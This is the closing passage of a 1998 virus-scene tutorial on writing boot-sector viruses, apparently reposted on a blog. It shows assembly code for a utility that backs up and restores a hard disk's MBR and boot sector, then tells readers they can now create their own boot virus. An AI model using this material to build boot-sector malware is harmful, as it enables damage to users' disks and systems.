   int 21h
   jmp exit

write_restore_all:
   push cs cs
   pop ds es                            ;es=ds=cs

   mov ax,3d00h                         ;open
   lea dx,filename                      ;'bootpart.cap'
   int 21h                              ;NOW! :)
   jnc w_continue
w_error:
   mov ah,9
   lea dx,readerr                       ;error reading BOOTPART.CAP file
   int 21h
   jmp exit
w_continue:
   xchg bx,ax                           ;handle in BX

   mov ah,3fh                           ;read the MBR from file in memory
   lea dx,buffer
   mov cx,512
   int 21h
   jc w_error

   mov dh,0                             ;write the MBR
   call writesector

   mov ah,3fh                           ;read the BS from file in memory
   lea dx,buffer
   mov cx,512
   int 21h
   jc w_error

   mov dh,1                             ;write the BS
   call writesector

   mov ah,3eh                           ;close the file
   int 21h
   jmp exit

readsector:
;input: head number in DH
;output: buffer filled up with the read sector
  pusha                                 ;save all registers
  mov ah,2                              ;subfunction 02h=read sectors
  mov dl,80h                            ;80h=first hard disk
  xor ch,ch                             ;track (cylinder) number
  mov cl,1                              ;sector number
  mov al,1                              ;sector count
  lea bx,buffer                         ;address of our buffer
  int 13h
  popa                                  ;restore all registers
  ret

writesector:
;input: head number in DH
;       buffer filled up with the sector you want to write
;output: nothing
  pusha                                 ;save all registers
  mov ah,3                              ;subfunction 03h=write sectors
  mov dl,80h                            ;80h=first hard disk
  xor ch,ch                             ;track (cylinder) number
  mov cl,1                              ;sector number
  mov al,1                              ;sector count
  lea bx,buffer                         ;address of our buffer
  int 13h
  popa                                  ;restore all registers
  ret

createrr db 13,10,'Error creating BOOTPART.CAP!',13,10,'$'
readerr  db 13,10,'Error reading BOOTPART.CAP!',13,10,'$'
params   db 13,10,'MBR/BS backup, coded by Virtual Daemon [SLAM]',13,10
db 'Use: <0> to save the MBR/BS of the 1st HDD to a file (bootpart.cap)',13,10
db '     <1> to restore the previously saved MBR/BS from a file',13,10,'$'
filename db 'bootpart.cap',0
buffer   db 512 dup (?)
end start
--< cut here >--

   So hmm... compile the above code with TASM/TLINK and then run the program
with the "0" parameter. It will create a file called BOOTPART.CAP that contains
a copy of the Master Boot Record and the Boot Sector of the first hard disk
installed in your system. Then create a "clean" system floppy disk and copy the
program and the BOOTPART.CAP file on it. So, there you have it: an emergency
diskette... just in case something goes wrong with your boot virus and you
screw things up. Write protect the disk and store it in a safe place (away from
smoke and water ;-). Also it would be quite wise to save the DiskEditor utility
from the Norton Utilities package made by Symantec. You will only need two
files: DISKEDIT.EXE and NLIB200.RTL. Save them on your disk and write protect
the disk. The Disk Editor will be quite usefull if you want to see how does
your sectors look like. Hell, i use it all the time... So should you!

7.Thanks, greetings and other unimportant things :)
===================================================

   B00P... I think that I said all that I had to say... You should now be
able to create your own boot virus. If you're still confused about what's
going on here, then I guess I really screwed things up... :-/ Oh well, let's
just hope I didn't.

   Thanks goes out to CyberYoda/SLAM and to Trigger/SLAM for giving me advices
when I needed 'em. (Hey Yoda, this wouldn't had been so BIG if it weren't for
you man! :).

   Best regards to: all the SLAM members, Unknown, IndianOwl, Pawk, Int13h,
to all the regulars of #vir and to all my other friends from the scene.

         This is the end,
         Beautiful friend.
---= Virtual Daemon / SLAM 1998 =---
链接:http://vx.netlux.org/lib/static/vdat/tumisc55.htm

posted @ 2010-08-25 23:00  Tbit  阅读(743)  评论(0编辑  收藏  举报